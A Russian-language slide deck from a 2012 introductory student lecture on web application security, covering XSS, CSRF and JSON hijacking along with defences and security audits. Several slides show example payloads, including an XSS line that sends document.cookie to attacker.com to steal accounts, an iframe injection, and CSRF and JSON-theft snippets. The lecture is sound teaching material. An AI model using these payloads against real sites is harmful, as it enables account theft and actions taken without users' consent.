29
Безопасность современных веб- приложений: основы Вводная лекция для студентов Москва, МИФИ 18/02/2012

Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Embed Size (px)

DESCRIPTION

Вводный доклад на тему информационной безопасности веб-приложений. Лекция ставит целью ознакомить слушателей с основными информационными угрозами современных интернет-проектов. Приводятся самые распространенные типы уязвимостей, общая классификация, причины их появления, примеры. В качестве демонстрации уровней угрозы тех или иных уязвимостей будут представлены типичные сценарии атак. В завершении доклада будут даны общие рекомендации по обеспечению безопасности веб-приложений. Все представленные материалы основаны реальном на опыте проведения аудитов безопасности веб-приложений в 2009-2012гг.

Citation preview

Page 1: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Безопасность современных веб-приложений: основы

Вводная лекция для студентовМосква, МИФИ 18/02/2012

Page 2: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Веб и программное обеспечение• Для обозначения Всемирной паутины также

используют слово «веб» (англ. web) и аббревиатуру «WWW».

• Распределенная с-ма, предоставляющая доступ к связанным между собой документам, расположенным на различных компьютерах, подключенных к Интернету

• Веб-приложение — клиент-серверное приложение, в котором клиентом выступает браузер, а сервером — веб-сервер. Логика веб-приложения распределена между сервером и клиентом, хранение данных осуществляется, преимущественно, на сервере, обмен информацией происходит по сети

Page 3: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Безопасность веб-приложений

• Процесс обеспечения защиты веб-приложений от несанкционированного доступа:

• Организационные меры и политики (сильные пароли, их ротация, осведомленность пользователей)

• Администрирование и настройка ПО (обновление версий, ограничения по IP)

• Поиск и устранение уязвимостей в ПО веб-приложений

• Поиск и устранение уязвимостей в сопутствующем ПО (веб-сервер, сервер СУБД, проч.)

Page 4: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Архитектура веб-приложений

 

 

 

 

 

Сервер (аппаратная часть)

 

 

 

 

Операционная система

 

 

 

 

Операционная система

 

 

Веб-сервер

 

 

Веб-сервер

База данных

База данных

Веб- приложение

 

Веб- приложение

 

Браузер

(Пользователь)

Браузер

(Пользователь)

Page 5: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Уязвимости и атаки

• Уязвимость – ошибка ПО, позволяющая получить несанкционированный доступ

• Атака – процесс эксплуатации уязвимости. Получение НСД по средствам уязвимости.

• Атака может использовать множество различных уязвимостей, а также иные методы (соц. инженерия, слабые пароли и т.п.)

• Сценарий атаки – набор последовательности методов, приводящий к получению НСД (проведению атаки)

Page 6: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Классификация веб-уязвимостей• Серверные уязвимости• Клиентские уязвимости

• Различаются по типам проводимых атак• Серверные уязвимости направлены на

получение данных с сервера напрямую• Клиентские уязвимости направлены на

получение данных пользователя (перс. данные с сайта, данные браузера (COOKIE), проч.) или выполнение действий от имени пользователя без его ведома.

Page 7: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Серверные уязвимости

Серверные уязвимости - уязвимости, с помощью которых можно непосредственно совершать несанкционированные действия на сервере.Примеры: Выполнение произвольных команд операционной системы:

чтение, запись файлов, перезагрузка системы, смена пароля администратора

SQL инъекции – доступ к базе данных.

Page 8: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Клиентские уязвимости

Клиентские уязвимости - уязвимости, использование которых возможно только на стороне клиента (в браузере пользователя).

Использовании клиентских уязвимостей позволяет злоумышленникам:

– внедрять вредоносный html-код (java-script, iframe);

– совершать действий от лица пользователей (без их ведома);

– перенаправлять пользовательский трафик;

– Красть персональные данные и учетные записи.

Page 9: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Клиентские уязвимости

• Межсайтовое выполнение сценариев (XSS-Cross Site Scripting)

• Межсайтовая подделка запросов (CSRF- Cross Site Request Forgery)

• Кража JSON (JSON hijacking)

Page 10: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Классификация уязвимостей XSS

• Хранимые (stored, persistent);

• Отраженные (reflected, non-persistent);

• Объектные (DOM-based).

Page 11: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Хранимые XSS

• Изменение исходного кода страницы для всех пользователей.

Сайт

Хранимая XSS

Вредоносный запрос злоумышленника

Страница изменена!

Запрос пользователя Пользователь

Измененная страница

Злоумышленник

Page 12: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Отраженные XSS

• Необходимо, чтобы пользователь перешел по специально сформированной ссылке

Сайт

Отраженная XSS Пользователь

Измененная страница

Специальный запрос злоумышленника

Page 13: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Причины наличия XSS

Отсутствие фильтрации специальных символов HTML разметки, таких как, “ ‘ < > “ ‘ < > \\ , в параметрах, передаваемых пользователями.

http://site.ru/login.php?login=“ onfocus=alert(11)%20AUTOFOCUS%20a=“

<input name=“login” value=““ onfocus=alert(11) AUTOFOCUS a=“”/>

Page 14: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Динамические – Динамические – DOM-basedDOM-based XSSXSS

• Также, как и остальные XSS приводит к выполнению сценариев на странице сайта.

• Отличаются тем, что параметр уязвимый к данной атаке, может вообще не обрабатываться сервером, а только сценарием (JavaScript, Flash, PDF) в браузере пользователя.

http://site.ru/page.html#123;alert(123)

<script> eval(“loc=“+location.hash)</script>

Page 15: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Методы обнаружения хранимых и Методы обнаружения хранимых и отраженных XSSотраженных XSS

Что делать?1.Заходим на сайт.2.Ищем формы и GET параметры (в адресной строке после знака ?)3.Пробуем ввести в них специальные символы HTML (“ ‘ < > \ )4.Отправляем на сервер5.Смотрим на нашу страницу – что то изменилось?

Page 16: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Примеры атак с использованием Примеры атак с использованием XSSXSS

• Кража учетной записи пользователя:http://site.ru/?param=“><script>location=‘http://

attacker.com?’+document.cookie</script

• Размещение рекламы (кража трафика)http://site.ru/?param=“><iframe

src=‘http://attacker.com/ad-frame.html’</ifraim

Page 17: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Межсайтовая подделка запросов - Межсайтовая подделка запросов - CSRFCSRF

!Помним! Пользователь обменивается с сервером данными (запрос-ответ).

Необходимые условия для CSRF:– Авторизационные данные в cookie

– Веб-ресурс не требующий от пользователя подтверждения его действий

– Специально сформированный запрос

Page 18: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Межсайтовая подделка запросов - Межсайтовая подделка запросов - CSRFCSRF

Как работает?1.Пользователь получает ссылку на уязвимый сайт от злоумышленника2.Переходит по этой ссылке3.На сайте выполняется сценарий от лица пользователя

!НО! Пользователь может и не переходить по ссылке самостоятельно, а посетить зараженный или вредоносный сайт!

<iframe src=‘http://site.ru/sendMSG?to=Vasya&text=SPAM’ />

Page 19: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Межсайтовая подделка запросов - Межсайтовая подделка запросов - CSRFCSRF

Пользователь

Зараженный сайт

XSS

Запрос пользователя

Запрос на выполнениедействий от лица пользователя

Атакуемый сайт

CSRFНа сайте выполнено действие без ведома пользователя

Page 20: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Методы защиты и обнаружения CSRF

Веб-приложение

Пользователь

Запрос на выполнениепользовательского действия

Код подтверждения выполнения действия

Запрос на выполнение действия с кодом подтверждения

Если при выполнении пользовательский действий не происходит проверка кода подтверждения – на сайте есть уязвимость типа CSRF.

Page 21: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Кража JSON объектов

• Сервер и пользователь обмениваются сообщениями в формате JSON.

• На исполнение кода JavaScript не распространяется the same domain origin policy, а JSON является JavaScript кодом.

• Злоумышленник может получить данные из JSON массива с другого домена.

Page 22: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Кража JSON объектов

Уязвимый сайт Сайт злоумышленник

а

Посещениевредоноснойстраницы

Пользователь

Ссылка на JSON объектЗапрос JSON

объекта

JSON объект JSON

объект

Page 23: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Пример проведения атаки

Злоумышленник размещает на своем сайте ссылку на JSON объект уязвимого сайта:

<script src=‘http://site.ru/private_data.json’/>

Пример JSON объекта:

{"messages": { "id": “1", “from": “Vasya", “text”:”hello”}}

Page 24: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Методы защиты от кражи JSON

• Искажение синтаксиса JSON объекта на сервере при передаче пользователю.

• Обработка JSON объекта на странице сайта средствами JavaScript перед получением из него данных

• Пример:@"messages": { "id": “1", “from": “Vasya",

“text”:”hello”}@

Page 25: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Методы защиты крупных интернет Методы защиты крупных интернет проектовпроектов

• Привлечение экспертов по безопасности на этапе проектирования системы и разработки

• Проверка бета-версии • Проверка системы после готовности к

запуску и до раскрутки• Проверка нового функционала до его

внедрения

• Мониторинг и обнаружение атак

• Реагирование на новые уязвимости

Page 26: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Чем полезен Аудит?Чем полезен Аудит?

• Обнаружение существующих уязвимостей• Обнаружение потенциально небезопасных

мест кода• Консультации по безопасности проекта в

ходе проведения Аудита• Обнаружение ошибки логики

Page 27: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

«Белый ящик» или «Черный ящик»

• «Черный ящик» – проверка веб-ресурса на наличие уязвимостей без исходного кода.

• «Белый ящик» - проверка веб-ресурса на наличие уязвимостей используя исходный код веб-ресурса.

• Основные отличия:– Стоимость– Полнота– Сроки

Page 28: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Насколько трудно взломать веб-приложение?

Page 29: Безопасность веб-приложений: основы. Клиентские уязвимости. ONsec.мифи.180212

Спасибо!Вопросы???@[email protected]